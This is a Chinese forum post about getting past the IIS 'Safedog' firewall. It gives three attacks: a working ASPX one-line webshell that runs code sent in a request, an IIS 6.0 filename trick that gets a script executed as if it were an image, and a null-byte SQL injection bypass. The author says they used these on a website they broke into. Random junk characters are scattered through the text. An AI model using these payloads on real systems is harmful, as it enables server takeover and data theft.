1、绕过IIS安全狗的一句话。
, k3 r& e) X) t# e% T前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。# u. B( z. ~/ G/ b+ D
<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
9 H: S E6 }- g6 H4 T! j6 l2 i& {; C6 y# v- `" J/ u; V6 N6 U
2、IIS6.0解析漏洞遇到安全狗。
4 j N) R# @; ~% c- U1 S文件名为
; a3 Q' N1 `+ B. `5 }http://www.xxxxx.com/sh3llc0de.asp;1.jpg
+ i( G) @/ b0 n& ?. S3 E4 u% n6 A* P) m6 v
这样的会被IIS安全狗果断屏蔽。
: ^3 G. c- M0 U: U4 ~1 ?改成如下名称,IIS6一样会解析:- b) ~* X; @2 f- e) j# `( M$ h% N
www.xxxxx.com/;1.asp;1.jpg
3 X- O+ f; e5 _ d1 \
* L) ?! c* b$ J/ A5 j3、安全狗的注入绕过。+ v" _2 |2 h2 o1 s$ L
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。' X5 |" ^% N; O$ B& v: c) e' y
但如果:# r$ s# C- J9 J$ \/ t2 S2 Q
r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1. N) v+ N2 _( K
就可以成功绕过了。
1 c$ j$ Y0 d8 k! e! S# z7 i5 K7 Y( D/ ]+ I5 \
) N U" j- @4 S H' `5 Z4 s
|